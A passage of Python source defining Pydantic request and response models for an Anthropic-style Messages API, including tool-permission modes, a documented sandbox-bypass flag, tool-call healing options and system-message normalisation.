description = "[x-unsloth] Conversation ID for scoping stateful tool sessions (e.g. stdio MCP); stays per-thread where session_id may be shared project-wide.",
)
cancel_id: Optional[str] = None
bypass_permissions: Optional[bool] = Field(
False,
description = "[x-unsloth] Bypass Permissions: when true, disable the python/terminal execution sandbox (safety checks, command blocklist, resource limits) for server-side tool calls. Secret env vars are still stripped. Declared explicitly (not relied on via extra='allow') so omitted requests default to False instead of raising AttributeError.",
)
permission_mode: Optional[str] = Field(
None,
description = "[x-unsloth] Permission level for local tool calls: 'ask' pauses every call, 'auto' ('Approve for me') only pauses calls detected as high risk, 'off' never pauses (sandbox stays on), 'full' equals bypass_permissions=true. Unset defaults to 'auto' for the per-call gate; a non-streaming request without an explicit mode runs the loop. An unrecognized value (e.g. from a newer client) is treated as 'ask'. Declared explicitly so omitted requests default to None instead of raising AttributeError.",
)
auto_heal_tool_calls: Optional[bool] = Field(
True,
description = "[x-unsloth] Auto-detect and fix malformed tool calls from model output (mirrors the Chat Completions field; applies to the client-tool passthrough).",
)
nudge_tool_calls: Optional[bool] = Field(
None,
description = "[x-unsloth] Opt-in, non-streaming only: retry once with a nudge when the model emitted a tool signal healing could not repair (mirrors the Chat Completions field).",
)
model_config = {"extra": "allow"}
@model_validator(mode = "before")
@classmethod
def normalize_system_messages(cls, data: Any) -> Any:
if not isinstance(data, dict):
return data
messages = data.get("messages")
if not isinstance(messages, list):
return data
normalized_messages: list[Any] = []
system_additions: list[str] = []
changed = False
for message in messages:
if isinstance(message, dict) and message.get("role") == "system":
system_additions.append(
_anthropic_content_to_system_text(message.get("content", ""))
)
changed = True
continue
normalized_messages.append(message)
if not changed:
return data
normalized = dict(data)
normalized["messages"] = normalized_messages
normalized["system"] = _merge_anthropic_system(normalized.get("system"), system_additions)
return normalized
@field_validator("permission_mode", mode = "before")
@classmethod
def _coerce_permission_mode(cls, value: Any) -> Any:
# Accept any string so an unknown mode degrades to 'ask' instead of a
# 422; mirrors the tool loops' unknown -> ask fallback.
return _normalize_permission_mode(value)
@model_validator(mode = "after")
def _fold_full_permission_into_bypass(self) -> "AnthropicMessagesRequest":
"""permission_mode='full' equals bypass_permissions=true (mirrors the
Chat Completions request)."""
if self.permission_mode == "full":
self.bypass_permissions = True
elif self.bypass_permissions:
# Legacy bypass callers map onto Full access (mirrors the tool loop).
self.permission_mode = "full"
elif self.permission_mode == "off":
# "Off" never prompts, so route guards must see confirm disabled.
self.confirm_tool_calls = False
return self
# ── Response models ────────────────────────────────────────────
class AnthropicUsage(BaseModel):
input_tokens: int = 0
cache_creation_input_tokens: int = 0
cache_read_input_tokens: int = 0
output_tokens: int = 0
class AnthropicResponseTextBlock(BaseModel):
type: Literal["text"] = "text"
text: str
class AnthropicResponseToolUseBlock(BaseModel):
type: Literal["tool_use"] = "tool_use"
id: str
name: str
input: dict
AnthropicResponseBlock = Union[AnthropicResponseTextBlock, AnthropicResponseToolUseBlock]
class AnthropicMessagesResponse(BaseModel):
id: str = Field(default_factory = lambda: f"msg_{uuid.uuid4().hex[:24]}")
type: Literal["message"] = "message"
role: Literal["assistant"] = "assistant"
content: list[AnthropicResponseBlock] = Field(default_factory = list)
model: str = "default"
stop_reason: Optional[str] = None
stop_sequence: Optional[str] = None
usage: AnthropicUsage = Field(default_factory = AnthropicUsage)